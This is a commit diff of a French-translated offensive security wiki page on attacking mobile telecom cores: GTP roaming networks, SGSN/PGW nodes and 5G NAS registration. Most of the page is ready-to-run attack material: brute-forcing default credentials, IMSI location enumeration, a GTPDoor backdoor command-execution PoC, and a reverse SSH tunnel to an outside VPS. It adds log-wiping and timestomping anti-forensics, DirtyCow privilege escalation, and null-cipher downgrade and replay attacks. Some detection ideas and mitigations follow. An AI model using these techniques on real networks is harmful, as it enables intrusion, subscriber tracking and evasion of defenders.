Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:10:42 +00:00
parent f9ee10349f
commit b258af8024

View File

@ -1,27 +1,27 @@
# Exploitation des Réseaux Télécom (GTP / Environnements de Roaming)
# Exploitation des réseaux télécoms (GTP / environnements d'itinérance)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Les protocoles de cœur mobile (GPRS Tunnelling Protocol GTP) traversent souvent des infrastructures de roaming GRX/IPX semi-fiables. Comme ils fonctionnent sur UDP simple avec presque aucune authentification, **tout point d'accès à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation de base**. Les notes suivantes rassemblent des astuces offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.
> Les protocoles du cœur mobile (GPRS Tunnelling Protocol GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP non chiffré avec presque aucune authentification, **toute présence initiale à l'intérieur du périmètre télécom peut généralement atteindre directement les plans de signalisation core**. Les notes suivantes rassemblent des astuces offensives observées en conditions réelles contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.
## 1. Reconnaissance & Accès Initial
## 1. Recon & accès initial
### 1.1 Comptes OSS / NE par Défaut
Un ensemble étonnamment large d'éléments de réseau de fournisseurs est livré avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Une liste de mots dédiée augmente considérablement le succès des attaques par force brute :
### 1.1 Comptes OSS / NE par défaut
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Une wordlist dédiée augmente fortement le succès des attaques par force brute:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Si l'appareil n'expose qu'un VRF de gestion, pivotez d'abord via un hôte de saut (voir la section «SGSN Emu Tunnel» ci-dessous).
Si l'appareil n'expose qu'une VRF de gestion, pivotez d'abord via un jump host (voir la section «SGSN Emu Tunnel» ci-dessous).
### 1.2 Découverte d'hôtes à l'intérieur de GRX/IPX
La plupart des opérateurs GRX permettent encore **ICMP echo** à travers le backbone. Combinez `masscan` avec les sondes UDP `gtpv1` intégrées pour cartographier rapidement les écouteurs GTP-C :
### 1.2 Découverte d'hôtes dans GRX/IPX
La plupart des opérateurs GRX autorisent encore les **ICMP echo** à travers le backbone. Combinez `masscan` avec les sondes UDP `gtpv1` intégrées pour cartographier rapidement les services GTP-C à l'écoute:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Énumération des abonnés `cordscan`
L'outil Go suivant crée des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité par l'abonné.
L'outil Go suivant génère des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité de l'abonné.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Drapeaux clés :
Options clés:
- `--imsi` IMSI de l'abonné cible
- `--oper` Foyer / HNI (MCC+MNC)
- `-w` Écrire des paquets bruts dans pcap
- `--oper` Home / HNI (MCC+MNC)
- `-w` Écrit les paquets bruts dans un pcap
Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les analyses :
Des constantes importantes dans le binaire peuvent être patchées pour élargir les scans:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Exécution de code via GTP `GTPDoor`
## 3. Exécution de code sur GTP `GTPDoor`
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la charge utile commence par une balise pré-partagée, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Les stdout/stderr sont exfiltrés à l'intérieur des messages **Echo Response** afin qu'aucune session externe ne soit jamais créée.
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la payload commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Le stdout et le stderr sont exfiltrés dans des messages **Echo Response** afin qu'aucune session sortante ne soit jamais créée.
Paquet PoC minimal (Python) :
Paquet PoC minimal (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Détection :
* tout hôte envoyant des **Echo Requests déséquilibrés** aux IPs SGSN
* le drapeau de version GTP réglé sur 1 tandis que le type de message = 1 (Echo) déviation par rapport à la spécification
* tout hôte envoyant des **Echo Requests déséquilibrées** vers les adresses IP du SGSN
* bit de version GTP mis à 1 alors que message type = 1 (Echo) déviation par rapport à la spécification
## 4. Pivotement à travers le cœur
## 4. Pivoting à travers le cœur du réseau
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` fournit un émulateur SGSN capable de **établir un contexte PDP vers un vrai GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le pair en itinérance.
`OsmoGGSN` fournit un émulateur SGSN capable de **établir un contexte PDP vers un vrai GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le peer en roaming.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Avec un hair-pinning de pare-feu approprié, ce tunnel contourne les VLANs uniquement de signalisation et vous amène directement dans le **data plane**.
Avec un hair-pinning de firewall approprié, ce tunnel contourne les signalling-only VLANs et vous place directement dans le **data plane**.
### 4.2 Tunnel SSH inversé sur le port 53
Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne à votre VPS écoutant sur :53 et revenez plus tard de chez vous :
### 4.2 SSH Reverse Tunnel over Port 53
DNS est presque toujours ouvert dans les infrastructures en roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Vérifiez que `GatewayPorts yes` est activé sur le VPS.
Vérifier que `GatewayPorts yes` est activé sur le VPS.
## 5. Canaux Clandestins
## 5. Canaux cachés
| Canal | Transport | Décodage | Remarques |
|-------|-----------|----------|-----------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + morceaux de 14 octets (XOR) | écouteur passif pur, pas de trafic sortant |
| DNS `NoDepDNS` | UDP 53 | XOR (clé = `funnyAndHappy`) encodé dans les octets d'enregistrement A | surveille le sous-domaine `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC dans IE privé | se mélange avec le bruit légitime de GTP-C |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | écoute entièrement passive, aucun trafic sortant |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets des enregistrements A | surveille le sous-domaine `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se fond dans le trafic GTP-C légitime |
Tous les implants mettent en œuvre des surveillants qui **timestomp** leurs binaires et se réactivent s'ils plantent.
Tous les implants implémentent des watchdogs qui **timestomp** leurs binaires et se relancent en cas de crash.
## 6. Feuille de Triche pour l'Évasion de Défense
## 6. Aide-mémoire d'évasion des défenses
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Élévation de privilèges sur les NE hérités
## 7. Privilege Escalation sur Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -116,25 +116,132 @@ Conseil de nettoyage :
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Boîte à outils
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` outils personnalisés décrits dans les sections précédentes.
* `FScan` : balayages TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : WPAD malveillant LLMNR/NBT-NS
* `Microsocks` + `ProxyChains` : pivotement SOCKS5 léger
* `FRP` (≥0.37) : traversée NAT / pontage d'actifs
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : pivot SOCKS5 léger
* `FRP` (≥0.37) : traversée NAT / pont d'assets
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à l'activation de la sécurité NAS par Security Mode Command/Complete, les messages initiaux ne sont ni authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque si vous pouvez observer ou altérer le trafic N2 (par ex. on-path à l'intérieur du core, rogue gNB, ou banc d'essai).
Registration flow (simplified):
- Registration Request: UE envoie SUCI (SUPI chiffré) et capabilities.
- Authentication: AMF/AUSF envoient RAND/AUTN ; l'UE renvoie RES*.
- Security Mode Command/Complete: intégrité et chiffrement NAS sont négociés et activés.
- PDU Session Establishment: configuration IP/QoS.
Lab setup tips (non-RF):
- Core : le déploiement par défaut d'Open5GS suffit pour reproduire les flows.
- UE : simulateur ou UE de test ; décoder avec Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS à la volée sans lancer un rogue gNB complet).
- Useful display filters in Wireshark:
- `ngap.procedure_code == 15` (InitialUEMessage)
- `nas_5g.message_type == 65` or `nas-5gs.message_type == 65` (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'origine). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant le suivi persistant d'un abonné.
Comment tester :
- Capturez le premier message NAS dans InitialUEMessage et inspectez le Mobile Identity IE.
- Vérifications rapides dans Wireshark :
- Il doit décoder en SUCI, pas en IMSI.
- Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` devrait exister ; absence conjuguée à la présence de `imsi` indique une fuite.
Quoi collecter :
- MCC/MNC/MSIN s'ils sont exposés ; journaliser par UE et suivre dans le temps/les emplacements.
Atténuation :
- Imposer des UE/USIM n'acceptant que SUCI ; alerter sur toute IMSI/SUPI dans le NAS initial.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Contexte :
- L'UE annonce les EEA (encryption) et EIA (integrity) supportés dans l'IE UE Security Capability de la Registration Request.
- Mappages courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.
Problème :
- Parce que la Registration Request n'est pas protégée par intégrité, un attaquant on-path peut effacer des bits de capability pour forcer la sélection de EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent à tort les algorithmes nuls en dehors des services d'urgence.
Étapes offensives :
- Intercepter l'InitialUEMessage et modifier le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
- Avec Sni5Gect, hooker le message NAS et patcher les bits de capability avant de le forwarder.
- Observer si l'AMF accepte des chiffrements/intégrité nuls et complète le Security Mode avec EEA0/EIA0.
Vérification/visibilité :
- Dans Wireshark, confirmer les algorithmes sélectionnés après Security Mode Command/Complete.
- Exemple de sortie d'un sniffer passif :
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Atténuations (obligatoires) :
- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement mandaté (p.ex., appels d'urgence).
- Privilégier l'application d'EEA2/EIA2 au minimum ; consigner et déclencher des alertes pour tout contexte de sécurité NAS qui négocie null algorithms.
### 9.3 Replay of initial Registration Request (NAS pré-sécurité)
Parce que le NAS initial manque d'intégrité et de fraîcheur, un InitialUEMessage+Registration Request capturé peut être replayed vers l'AMF.
Règle PoC pour 5GReplay afin de transférer les replays correspondants :
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
À observer :
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations :
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
### 9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
---
## Idées de détection
1. **Tout appareil autre qu'un SGSN/GGSN établissant des demandes de création de contexte PDP**.
2. **Ports non standards (53, 80, 443) recevant des poignées de main SSH** provenant d'IP internes.
3. **Demandes Echo fréquentes sans réponses Echo correspondantes** pourraient indiquer des balises GTPDoor.
4. **Taux élevé de trafic de réponse ICMP echo avec de grands champs d'identifiant/séquence non nuls**.
1. **Tout device autre qu'un SGSN/GGSN établissant des Create PDP Context Requests**.
2. **Ports non standards (53, 80, 443) recevant des SSH handshakes** depuis des IP internes.
3. **Echo Requests fréquents sans Echo Responses correspondantes** peut indiquer des beacons GTPDoor.
4. **Taux élevé de trafic ICMP echo-reply avec de grands champs identifier/sequence non nuls**.
5. 5G : **InitialUEMessage portant des NAS Registration Requests répétés depuis les mêmes endpoints** (signal de replay).
6. 5G : **NAS Security Mode négociant EEA0/EIA0** en dehors de contextes d'urgence.
## Références
## References
- [Palo Alto Unit42 Infiltration des réseaux de télécommunications mondiaux](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Protocole de tunneling GPRS (v16.4.0)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}